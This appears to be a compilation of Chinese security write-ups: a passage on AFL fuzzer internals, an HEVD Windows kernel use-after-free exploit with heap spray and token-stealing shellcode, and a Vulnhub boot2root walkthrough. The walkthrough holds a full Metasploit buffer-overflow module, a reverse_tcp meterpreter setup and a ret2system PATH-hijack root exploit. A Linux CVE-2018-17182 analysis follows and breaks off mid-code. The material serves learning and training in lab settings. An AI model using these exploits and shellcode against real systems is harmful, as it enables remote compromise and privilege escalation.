记录子进程的pid，一旦子进程执行完了，通过状态管道发送到`fuzzer`继续执行
.text:0000000000000B16 mov cs:__afl_fork_pid, eax
.text:0000000000000B1C mov rdx, 4 ; n
.text:0000000000000B23 lea rsi, __afl_fork_pid ; buf
.text:0000000000000B2A mov rdi, 0C7h ; fd
.text:0000000000000B31 call _write
.text:0000000000000B36 mov rdx, 0 ; options
.text:0000000000000B3D lea rsi, __afl_temp ; stat_loc
.text:0000000000000B44 mov rdi, qword ptr cs:__afl_fork_pid ; pid
.text:0000000000000B4B call _waitpid
.text:0000000000000B50 cmp rax, 0
.text:0000000000000B54 jle __afl_die
.text:0000000000000B5A mov rdx, 4 ; n
.text:0000000000000B61 lea rsi, __afl_temp ; buf
.text:0000000000000B68 mov rdi, 0C7h ; fd
.text:0000000000000B6F call _write
.text:0000000000000B74 jmp __afl_fork_wait_loop
用伪代码更能看清楚逻辑
if ( write(0xC7, &_afl_temp, 4uLL) == 4 )
{
while ( 1 )
{
v25 = 0xC6;
if ( read(0xC6, &_afl_temp, 4uLL) != 4 )
break;
LODWORD(v26) = fork();
if ( v26 < 0 )
break;
if ( !v26 )
goto __afl_fork_resume;
_afl_fork_pid = v26;
write(0xC7, &_afl_fork_pid, 4uLL);
v25 = _afl_fork_pid;
LODWORD(v27) = waitpid(_afl_fork_pid, &_afl_temp, 0);
if ( v27 <= 0 )
break;
write(199, &_afl_temp, 4uLL);
}
_exit(v25);
}
在`fuzzer`这边来看,发出请求，接受状态，根据状态管道判断执行结果......
if ((res = write(fsrv_ctl_fd, &prev_timed_out, 4)) != 4); //启动fork server
if ((res = read(fsrv_st_fd, &child_pid, 4)) != 4)
.......
/* Report outcome to caller. */
if (WIFSIGNALED(status) && !stop_soon) {
kill_signal = WTERMSIG(status);
if (child_timed_out && kill_signal == SIGKILL) return FAULT_TMOUT;
return FAULT_CRASH;
}
# 分支记录
如何判断这条路径（代码）执行过，后面还要根据这些记录对后面变异有帮助。既要节约空间又要有效率，那单链表之类的肯定不能用,AFL用的是二元tuple(跳转的源地址和目标地址)来记录分支信息。
例如：
> A->B->C->D->A-B
可以用[A,B] [B,C] [C,D]
[D,A]四个二元组表示，只需要记录跳转的源地址和目标地址。并且[A,B]执行了两次，其余执行了一次，这里用hash映射在一张map中。
接下来代码具体讲讲。
之前在`__afl_maybe_log`后面还有`_afl_store`这个函数
.text:0000000000000960 __afl_store: ; CODE XREF: __afl_maybe_log+4F↓j
.text:0000000000000960 ; __afl_maybe_log+309↓j
.text:0000000000000960 xor rcx, cs:__afl_prev_loc
.text:0000000000000967 xor cs:__afl_prev_loc, rcx
.text:000000000000096E shr cs:__afl_prev_loc, 1
.text:0000000000000975 inc byte ptr [rdx+rcx]
对应的伪代码。`COMPILE_TIME_RANDOM`就是`add_instrumentation`中`fprintf`中`R(MAP_SIZE)`,也是在执行`call
__afl_maybe_log`汇编前`rcx`中保存的随机数，这个随机数代表分支
cur_location = <COMPILE_TIME_RANDOM>; //随机数当前分支
shared_mem[cur_location ^ prev_location]++; //前一分支和当前分支锁表示的随机数异或表示二元tuple映射map
prev_location = cur_location >> 1; //将当前分支再记录
为什么当前分支最后需要向右移一位？比如`A->A`或者`A->B->A`这种不右移异或为0
并且共享内存的`MAP_SIZE=64K`碰撞概率缩小很多。下面是官方给的
Branch cnt | Colliding tuples | Example targets
------------+------------------+----------------- 1,000 | 0.75% | giflib, lzo
2,000 | 1.5% | zlib, tar, xz
5,000 | 3.5% | libpng, libwebp
10,000 | 7% | libxml
20,000 | 14% | sqlite
50,000 | 30% | -
# 分支信息处理
共享内存还有个变量`trace_bits`来记录分支执行次数
classify_counts((u32*)trace_bits);
fuzzer主要将每个分支处理次数归入下面这个表中
static const u8 count_class_lookup8[256] = {
[0] = 0,
[1] = 1,
[2] = 2,
[3] = 4,
[4 ... 7] = 8,
[8 ... 15] = 16,
[16 ... 31] = 32,
[32 ... 127] = 64,
[128 ... 255] = 128
};
比如执行了4-7次的其计数为8，最后用一个hash还判断新测试用例分支数增加没有
u32 cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);
# 参考链接
<https://paper.seebug.org/496/>
<http://lcamtuf.coredump.cx/afl/technical_details.txt>
<https://www.inforsec.org/wp/?p=2678>
<https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html> | 社区文章 |
# HEVD UAF漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境准备
Win 10 64位 主机 + win 7 32位虚拟机
Windbg：调试器
VirtualKD-3.0：双击调试工具
InstDrv：驱动安装，运行工具
HEVD：一个Windows内核漏洞训练项目，里面几乎涵盖了内核可能存在的所有漏洞类型，非常适合我们熟悉理解Windows内核漏洞的原理，利用技巧等等
## 漏洞简单分析
漏洞代码
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject-> Callback) {
g_UseAfterFreeObject->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
以上代码就可能出现Use After Free, g_UseAfterFreeObject虽然被释放，但是如果没有设置为NULL，然后再调用
Callback(), 而callback的值我们又可以控制，那么我们就能利用该漏洞。
* **漏洞调试与利用**
正如Use after Free字面上的意思，该漏洞形成的原因是空间被释放后，再次被使用。所以本实例代码的流程大致如下：
实际上，该种漏洞利用起来并没有那么容易，只是在HEVD中，已经人为制造了相关利用条件。
我们先大致看下利用代码过程。
**（1）申请空间**
// 创建对象
// 调用 AllocateUaFObject对象
//__debugbreak();
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
**（2）释放空间**
// 调用FreeUaFObject
// 释放对象
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
**（3）覆盖空间内容**
// 先编写ShellCode
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'B');
// 喷射
//__debugbreak();
for (int i = 0; i < 5000; i++)
{
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
**（4）再次使用空间**
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
这里我们重点讲下（3）中的覆盖空间，这里其实就是利用堆喷的技巧，之前研究[ **HEVD**
**池溢出分析**](https://www.anquanke.com/post/id/170446)
**（https://www.anquanke.com/post/id/170446）** 的时候，我们已经说过。假设我们有一个大小n的内核pool
chunk A， 然后释放该chunk。
当我们再次申请同样大小的chunk时，就有可能又会申请到A，只是概率较低，但是如果我们大量申请同样大小的chunk，就有很大的概率又申请到A空间。
我们再次回到代码中去，我们知道g_UseAfterFreeObject是一个全局变量，其值是调用 _ExAllocatePoolWithTag()_
函数申请的。然后调用
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
函数释放该空间，但是并未将g_UseAfterFreeObject的值设置为NULL，然后门申请大量与g_UseAfterFreeObject空间相同的空间，并填充我们构造的值，我们会发现g_UseAfterFreeObject指向的内容已经被改变，变成了我们的值，如果再次调用
**g_UseAfterFreeObject** **- >** **Callback()** 的话，就会执行我们的代码。
下面我们使用windbg简单跟踪调试下：
我们下三个断点（这里强调下，驱动代码是我自己编译的，有符号表，所以可以直接对函数名下断点，如果你是网上直接下的驱动，需要自己定位偏移）
bp HEVD!AllocateUaFObject
bp HEVD!FreeUaFObject
bp HEVD!UseUaFObject
运行利用程序，程序首先断在NTSTATUS AllocateUaFObject()函数处，
P 单步执行到
我们看下
g_UseAfterFreeObject的值，
kd> dd g_UseAfterFreeObject
96773008 85d47338 00000000 00000000 00000000
96773018 00000000 00000000 00000000 00000000
96773028 00000000 00000000 00000000 00000000
96773038 00000000 00000000 00000000 00000000
96773048 00000000 00000000 00000000 00000000
96773058 00000000 00000000 00000000 00000000
96773068 00000000 00000000 00000000 00000000
96773078 00000000 00000000 00000000 00000000
kd> dt HEVD!PUSE_AFTER_FREE 96773008
0x85d47338
+0x000 Callback : 0x967751bc void HEVD!UaFObjectCallback+0
+0x004 Buffer : [84] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
再看下其所在的pool chunk
kd> !pool 85d47338
Pool page 85d47338 region is Nonpaged pool
85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
85d472e8 size: 48 previous size: 2e8 (Free) ....
*85d47330 size: 60 previous size: 48 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85d47390 size: f8 previous size: 60 (Free) Thre
85d47488 size: 2e8 previous size: f8 (Allocated) Thre (Protected)
85d47770 size: 88 previous size: 2e8 (Free) Io
85d477f8 size: 2f8 previous size: 88 (Allocated) usbp
85d47af0 size: 510 previous size: 2f8 (Free) XSav
大小为60h = 96 = 8（pool chunk header） + sizeof(USE_AFTER_FREE)。
状态为 **Allocated** 的。
Kd>g 继续执行，程序断在NTSTATUS FreeUaFObject()处
P单步运行程序到释放空间后，再观察g_UseAfterFreeObject的pool chunk信息
kd> dt HEVD!PUSE_AFTER_FREE 96773008
0x85d47338
+0x000 Callback : (null)
+0x004 Buffer : [84] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
kd> !pool 85d47338
Pool page 85d47338 region is Nonpaged pool
85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
85d472e8 size: 48 previous size: 2e8 (Free) ....
*85d47330 size: 60 previous size: 48 (Free ) *Hack
Owning component : Unknown (update pooltag.txt)
85d47390 size: f8 previous size: 60 (Free) Thre
85d47488 size: 2e8 previous size: f8 (Allocated) Thre (Protected)
85d47770 size: 88 previous size: 2e8 (Free) Io
85d477f8 size: 2f8 previous size: 88 (Allocated) usbp
85d47af0 size: 510 previous size: 2f8 (Free) XSav
Pool chunk的状态已经由 **Allocated** 变成了 **Free** 。
Kd>g 继续执行程序，程序断在NTSTATUS
UseUaFObject()处，此时程序堆喷代码已经被执行完成。再次观察g_UseAfterFreeObject的内容
kd> dt HEVD!PUSE_AFTER_FREE 96773008
0x85d47338
+0x000 Callback : 0x003c1f90 void +d0000
+0x004 Buffer : [84] "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
kd> !pool 85d47338
Pool page 85d47338 region is Nonpaged pool
85d47000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
85d472e8 size: 48 previous size: 2e8 (Free) ....
*85d47330 size: 60 previous size: 48 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85d47390 size: 38 previous size: 60 (Free) Thre
85d473c8 size: 60 previous size: 38 (Allocated) Hack
可见g_UseAfterFreeObject的内容已经被我们的堆喷内容覆盖了，即我们大量申请相同的空间时，重新申请到了之前g_UseAfterFreeObject所在的位置。
0x003c1f90地址处正是我们的shellcode内容
kd> uf 0x003c1f90
003c1f90 53 push ebx
003c1f91 56 push esi
003c1f92 57 push edi
003c1f93 90 nop
003c1f94 90 nop
003c1f95 90 nop
003c1f96 90 nop
003c1f97 60 pushad
003c1f98 64a124010000 mov eax,dword ptr fs:[00000124h]
003c1f9e 8b4050 mov eax,dword ptr [eax+50h]
003c1fa1 8bc8 mov ecx,eax
003c1fa3 ba04000000 mov edx,4
003c1fa8 8b80b8000000 mov eax,dword ptr [eax+0B8h]
003c1fae 2db8000000 sub eax,0B8h
003c1fb3 3990b4000000 cmp dword ptr [eax+0B4h],edx
003c1fb9 75ed jne 003c1fa8 Branch
003c1fbb 8b90f8000000 mov edx,dword ptr [eax+0F8h]
003c1fc1 8991f8000000 mov dword ptr [ecx+0F8h],edx
003c1fc7 61 popad
003c1fc8 c3 ret
这里可以看到，我们的shellcode前面多了三行 push
代码，这是因为，我们的shellcode是以函数的形式调用的，在进入函数的时候，自动有入栈的push操作，这个实例中多的这三行代码并没有影响代码执行。
但是有时候多的代码也会影响程序的流程，造成漏洞利用失败，这时我们可以把shellcode放到数组中，然后调用。
char shellcode[] =
"\x90\x90\x90\x90" //# NOP Sled
"\x60" //# pushad
"\x64\xA1\x24\x01\x00\x00" //# mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" //# mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" //# mov ecx, eax(Current _EPROCESS structure)
"\x8B\x98\xF8\x00\x00\x00" //# mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00" //# mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" //# mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" //# sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" //# cmp[eax + PID_OFFSET], edx
"\x75\xED" //# jnz
"\x8B\x90\xF8\x00\x00\x00" //# mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" //# mov[ecx + TOKEN_OFFSET], edx
"\x61" //# popad
"\xC3"; //# ret
最后贴个成功提权的图：
## 参考文章
[1]. https://bbs.pediy.com/thread-247019.htm
利用代码：https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp | 社区文章 |
# 渗透笔记之Overflow
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
[Overflow](https://www.vulnhub.com/entry/overflow-1,300/)是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机，可在VirtualBox中打开（不建议使用VMware）。虚拟机已设置DHCP，可自动获取IP。
本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单，需要攻击者具备逆向和缓冲区溢出的基本知识。
## 准备环境
首先[下载](https://download.vulnhub.com/overflow/Overflow.ova)靶机镜像，得到文件Overflow.ova，大小为493M。然后在VirtualBox中导入它，观察其配置，发现只有一块虚拟网卡，修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali
Linux虚拟机（以下简称Kali）作为攻击者。
在Kali中运行命令netdiscover进行主机发现，确定靶机IP地址为：192.168.1.174。
## 信息收集
### 端口扫描
使用Nmap对靶机进行TCP端口扫描：
nmap -sV -p- -Pn -n 192.168.1.174
扫描结果如下图所示，看到靶机开放了80端口和1337端口。
### Web探测
访问<http://192.168.1.174:80/>，看到如下图所示的页面，有一个下载vulnserver的链接。
出于习惯，查看页面源码，如下所示，没有什么收获。
<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>
虽然网页中写到“Dirbuster is not
needed.”，但还是尝试了一下目录爆破，果然没有发现什么特别的目录。到目前为止，唯一的收获是vulnserver，把它下载下来。
## vulnserver研究
### 功能研究
下载vulnserver后首先使用file命令查看文件类型：
file vulnserver
命令输出如下图所示，可以看出这是一个32位的ELF可执行文件。
给它可执行权限，并且执行它，看到它在监听1337端口，如下图所示。
用Telnet去连接它，并进行交互，结果如下图所示。
容易验证，靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞，现在的任务是找出这个漏洞并利用它。
### 静态分析
先用checksec看看防护情况：
checksec --file=vulnserver
如下图所示，看到什么防护都没有开启，最好不过了。
用IDA pro打开vulnserver，用F5逆向出main函数的C代码，这里只给出最关键的部分：
/*
* 省略绑定端口，进行监听的代码
*/
while ( 1 )
{
v12 = accept(fd, &addr, &addr_len);
if ( v12 < 0 )
break;
v3 = ntohs(*(uint16_t *)addr.sa_data);
v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
printf("Connection accepted from %s:%dn", v4, v3);
v11 = fork(); // 注意这里开启了新进程
if ( !v11 )
{
write(v12, "COMMAND : ", 0xAu);
recv(v12, &buf, 0x400u, 0); // 接收客户端发来的数据
if ( !strncmp("OVERFLOW ", &buf, 9u) ) // 只比较前9个字符是否相等
{
handleCommand(&buf); // 调用了函数handleCommand
write(v12, "COMMAND DONEn", 0xDu);
}
else
{
write(v12, "TRY HARDER!n", 0xCu);
}
}
}
/*
* 省略接下来的代码
*/
继续F5逆向handleCommand函数，结果如下所示：
// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
char dest; // [esp+0h] [ebp-28h]
return strcpy(&dest, src);
}
调用了strcpy，显然handleCommand是有栈溢出漏洞的。
### 动态调试
刚开始调试时，将断点下在handleCommand函数开始处（0x08049262），不能成功中断，而是收到sigchld信号，调试失败。查阅资料后得知这是由于多进程的原因。
后来采取的调试方法是先运行vulnserver，然后用Telnet建立与vulnserver的连接，此时子进程已经生成，接着打开edb，使用Attach功能调试vulnserver的子进程（进程ID大的那个），如下图所示。
Attach后，将断点下在0x08049262，然后再输入COMMAND为“OVERFLOW 123456789”，如下图所示。
此时在edb中程序成功中断，如下图所示。
单步运行至ret指令处，注意观察栈内数据，看到我们输入到“OVERFLOW
123456789”距离返回地址还有11行，也就是4×11=44个字符，如下图所示。
### 编写攻击代码
漏洞发掘完毕，接下来需要编写攻击代码。首先找跳板jmp esp（FF
E4），使用edb的BinarySearcher插件，成功地找到了唯一的跳板，位于0x0804929a，如下图所示。
有了跳板，就可以编写攻击代码了。写了一个Metasploit的exploit模块，代码如下所示：
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vulnserver Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
},
'Author' => 'Werner <me[at]werner.wiki>',
'License' => BSD_LICENSE,
'References' =>
[
['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
],
'Platform' => %w{ linux },
'Targets' =>
[
[
'Vulnserver',
{
'Platform' => 'linux',
'Ret' => 0x0804929a,
'Offset' => 44 - 9
}
],
],
'Payload' =>
{
'BadChars' => 'x0ax0dx00xff'
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 22 2019'))
# Configure the default port to be 9080
register_options(
[
Opt::RPORT(1337),
])
end
def exploit
print_status("Connecting to target for exploitation.")
connect
print_good("Connection established successfully.")
recv_buf = sock.get_once
print_status("Received data: #{recv_buf}")
buf = make_nops(target['Offset'])
buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
print_status("Sending exploit packet.")
sock.put(buf)
handler
disconnect
end
end
将上述代码保存到文件vulnserver.rb中，然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。
需要特别说明，我使用的Metasploit版本为5.0.27-dev。
完成上述工作后打开msfconsole，输入命令reload_all重载所有模块，看看有没有报错，如果没有报错，exploits的数量应该多了1，这说明模块vulnserver载入成功。
### 漏洞利用
当然先在本地进行测试，发现攻击代码是可用的。然后进行实际的攻击，进入msfconsole后使用我们刚刚编写的攻击模块vulnserver，设置payload为linux/x86/meterpreter/reverse_tcp，设置rhosts为靶机IP，设置lhost为Kali的IP地址。具体的命令如下：
msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200
设置完成后使用show options命令查看所有设置，如下图所示，检查下确定没有问题。
之后输入exploit开始攻击，但失败了。没有关系，多尝试几次，就会有一次成功获得meterpreter shell，如下图所示。
### 探索
首先查看文件，找到了一个flag：user.txt，如下图所示。
查看权限发现果然是普通用户，不是root。考虑提权，先搜索有suid标志的文件：
ls -lh $(find / -perm -u=s -type f 2>/dev/null)
结果如下图，值得注意的是一个叫做printauthlog的程序。
考虑到后续可能依旧要使用溢出漏洞来提权，所以看看是否开启了地址随机化，发现是开启的，如下图所示。
不管这些，先把printauthlog下载下来再说。
## printauthlog研究
### 功能研究
用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下，发现是要输入一个密码。如下图和下下图所示。
### 静态分析
先用checksec看看防护情况：
checksec --file=printauthlog
如下图所示，看到开启了NX（不可执行），有点麻烦，直接jmp esp是不行了。
然后用IDA pro逆向，main函数比较短，直接给出全文：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char command[4]; // [esp+0h] [ebp-7Ch]
char v5; // [esp+1Ch] [ebp-60h]
int *v6; // [esp+6Ch] [ebp-10h]
v6 = &argc;
strcpy(command, "/bin/cat /var/log/auth.log");
memset(&v5, 0, 0x48u);
if ( argc == 2 )
{
if ( checkPassword((char *)argv[1]) )
puts("Wrong password");
else
shell(command);
}
else
{
printf("Usage: %s passwordn", *argv);
}
return 0;
}
关键点显然在函数checkPassword，继续逆向出checkPassword的C代码，如下：
// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
char s1[4]; // [esp+Fh] [ebp-49h]
char dest; // [esp+18h] [ebp-40h]
strcpy(s1, "deadbeef");
strcpy(&dest, src);
return strncmp(s1, &dest, 9u);
}
又看到了strcpy，显然checkPassword也是有栈溢出漏洞的。
至于shell函数，其C代码为：
int __cdecl shell(char *command)
{
return system(command);
}
看到在shell函数中调用了system。
现在我们已经知道密码是deadbeef，试了下果然是正确的密码，如下图所示。但这对权限提升是没有帮助的。
### 动态调试
作为一个单进程程序，调试起来简单一点点。但这个程序需要一个命令行参数，所以用edb调试需要用如下的命令打开：
edb --run ./printauthlog 123456
将程序停在checkPassword函数的ret指令处，如下图所示。
数一数可以知道输入的123456距离返回地址有17行，即17×4=68个字符。但由于开启了NX，所以直接将返回地址覆盖为jmp
esp是不行的，实际上由于这个程序过于简单，也找不到jmp esp。
### 编写攻击代码
该如何利用这个漏洞呢？似乎只能用ROP了。但实际上不用那么复杂，因为我们注意到这个程序调用了system（函数shell中），我们只要准备好适当的参数，也调用system就好了。
第一个问题，确定system[@plt](https://github.com/plt "@plt")的地址。这使用objdump来完成：
objdump -d -j .plt printauthlog
部分输出如下：
08049060 <system@plt>:
8049060: ff 25 18 c0 04 08 jmp *0x804c018
8049066: 68 18 00 00 00 push $0x18
804906b: e9 b0 ff ff ff jmp 8049020 <.plt>
第二个问题，如何准备system的参数。这个问题有点麻烦，因为32位程序的参数是通过栈传递的，而system的参数是字符串指针。如下图所示是正常调用system[@plt](https://github.com/plt
"@plt")开始时的栈中数据情况，可以看到system的参数0xffd8462c是指向字符串的指针，而不是字符串本身。虽然可以将栈中数据覆盖为任意值，但由于地址的动态特性，我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。
因为这个问题迟迟没能解决，我几乎要放弃了。但正要放弃时，忽然想到了另一个靶机[HackInOS](https://blog.werner.wiki/penetrate-hackinos/)中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为：
#include <unistd.h>
#include <stdlib.h>
int main(){
setgid(0);
setuid(0);
system("whoami");
return 0;
}
通过劫持whoami命令，将whoami替换为“/bin/bash -p”成功提权。
回到面临的问题，其实我不需要把自己构造的字符串做为system的参数，几乎任意的字符串都可以做为system的参数，只要它是固定的（内容和地址都固定），不以“/”开头（以“/”开头没法劫持）。这样的字符串还是有很多的，比如“Wrong
password”。
首先确定“Wrong password”的地址，依旧使用BinarySearcher，找到其地址为0x0804a008，如下图所示。
然后就可以构造shellcode了，从前往后（栈中从上往下）依次是：
17*4 字节的填充
0x08049060：system@plt的地址
0x080491C0：一个实际上不会用到的返回地址，单纯占位
0x0804A008：“Wrong password”的地址，system的参数
由于printauthlog接收的是命令行参数，所以需要借助perl来输入“x08”这样的特殊字符（靶机中没有Python）。实际执行如下的命令完成攻击：
./printauthlog $(perl -e 'print "A"x(17*4)."x60x90x04x08"."xc0x91x04x08"."x08xa0x04x08"')
但现在执行上述命令还不能成功，因为我们还没有劫持“Wrong”命令。
### 实施攻击
首先从meterpreter shell进入到bash shell中，然后看看当前目录，发现是/home/user，如下图。
然后建立一个名为Wrong的文件，内容为“/bin/bash -p”，并给它可执行权限，如下图。
接着在PATH中添加/home/user，如下所示。
PATH="$PATH:/home/user"
此时已完成对“Wrong”命令的劫持。最后运行攻击命令，获得一个有root权限的bash shell，如下图。
有了root权限，很容易就找到了root的flag，如下图。
flag是：
dfd0ac5a9cb9220d0d34322878d9cd7b
当然由于shellcode过于简单，只要一退出root shell，程序就崩溃了，如下图。
## 总结
虽然就缓冲区溢出而言，这个靶机的难度只能算简单，但我对这方面知识的了解仅限于阅读过《0day安全：软件漏洞分析技术(第二版)》，而且还是三年前的事情了，所以对我来说还是有相当的挑战的，成功拿到root权限后，带来的成就感也是前所未有的。
在渗透的过程中，果然不能轻言放弃，而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅，不拘一格的漏洞利用。
做的不好的地方在于没有过多的思考就直接执行了从靶机中下载的可执行文件，应该准备一个专用的沙盒的。 | 社区文章 |
# CVE-2018-17182 VMA use-after-free 详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞分析
内核在3.16版本之后对vma的查找进行了优化:<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849>
### 新的vma缓存机制
在task_struct中加入了一个vmacache数组和一个32位的vmacache_seqnum值。在mm_struct结构中加入了一个32位vmacache_seqnum值，并且在此基础上定义了一系列操作函数
vmacache_invalidate函数，用来将mm_struct的vmacache_seqnum加一，使其不等于当前线程的current->vmacache_seqnum。
vmacache_find
更新了vma_find函数，在这个位置会调用vmacache_find
vmacache_find
vmacache_find检索当前线程的vmacache缓存数组，如果地址范围在其中某一个vma的地址范围中，直接返回这个vma，不需要再进行红黑树检索
vmacache_find还会调用vmacache_valid，在其中会检查current->vmacache_seqnum是否等于current->mm->vmacache_seqnum，如果之前有过调用vmacache_invalidate，在这里会直接去调用vmacache_flush函数，刷新task_struct的vmacache链表之后会返回null。
### 漏洞具体位置
但是这个32位的值是可以被溢出的，于是在vmacache_invalidate中会有溢出的检查，如果回到0，就会刷新vmacache缓存数组。
本来这套机制是没有问题的，但是溢出后每次刷新线程的vmacache数组都需要遍历所有线程，太耗费时间
于是又发布了一次新的更新，如果是单线程的话不用对其刷新，直接返回。
但是这样就存在一个问题，如果在溢出之后，在调用vmacache_valid之前，立即申请一个新线程。这个时候之前的单线程的current->vmacache_seqnum仍然为0xffffffff，并没有更新为0。因为线程虽然没一个线程都有一个单独的task_struct，但是是共享同一个mm_struct的，这个时候在另一个新创建的线程之中将mm_struct的seqnum刷新为0xffffffff，在先前的但线程中就可以利用其vmacache数组里面已经释放了的vma，实现use
after free。
我们再来看看mmap和munmap函数是如何改变seqnum的值。
也就是说，调用munmap去解除vma映射的时候，会调用vmacache_invalidate将相应的mm_struct的seqnum增加1。并且最后会调用
kmem_cache_free(vm_area_cachep, vma)将对应的vm_area_struct free掉使其回到slab分配器的free
list。
并且再mummap开始的时候会调用find_vma，这会更新vmacache或者是刷新它。
再来看mmap函数：在其中会调用mmap_region,然后调用
其中会调用vm_area_alloc，在其中调用kmem_cache_zalloc()。这个函数主要用于向内核的slab分配器分配专门大小的object。
## 漏洞利用
现在我们结合着漏洞发现者在github上贴出的具体的漏洞利用代码去分析一下具体的利用过程。
漏洞利用代码<https://github.com/jas502n/CVE-2018-17182>
我们首先将作者的代码定义的每个函数具体功能进行分析，之后结合漏洞进行总体的串联
漏洞发现者的利用代码实现了一套ioctl系统来辅助漏洞的利用,其中关键的cmd是DMESG_DUMP用来调用vmacache_debug_dump()实现dump当前mm结构的信息，SEQUENCE_BUMP，用来更新当前线程mm_struct的seqnum。
case DMESG_DUMP: {
vmacache_debug_dump();
return 0;
} break;
case SEQUENCE_BUMP: {
current->mm->vmacache_seqnum += arg;
return 0;
} break;`
vmacache_debug_dump():
void vmacache_debug_dump(void)
{
struct mm_struct *mm = current->mm;
struct task_struct *g, *p;
int i;
pr_warn("entering vmacache_debug_dump(0x%lx)n", (unsigned long)mm);
pr_warn(" mm sequence: 0x%xn", mm->vmacache_seqnum);
rcu_read_lock();
for_each_process_thread(g, p) {
if (mm == p->mm) {
pr_warn(" task 0x%lx at 0x%x%sn", (unsigned long)p,
p->vmacache.seqnum,
(current == p)?" (current)":"");
pr_warn(" cache dump:n");
for (i=0; i<VMACACHE_SIZE; i++) {
unsigned long vm_start, vm_end, vm_mm;
int err = 0;
pr_warn(" 0x%lxn",
(unsigned long)p->vmacache.vmas[i]);
err |= probe_kernel_read(&vm_start,
&p->vmacache.vmas[i]->vm_start,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_end,
&p->vmacache.vmas[i]->vm_end,
sizeof(unsigned long));
err |= probe_kernel_read(&vm_mm,
&p->vmacache.vmas[i]->vm_mm,
sizeof(unsigned long));
if (err)
continue;
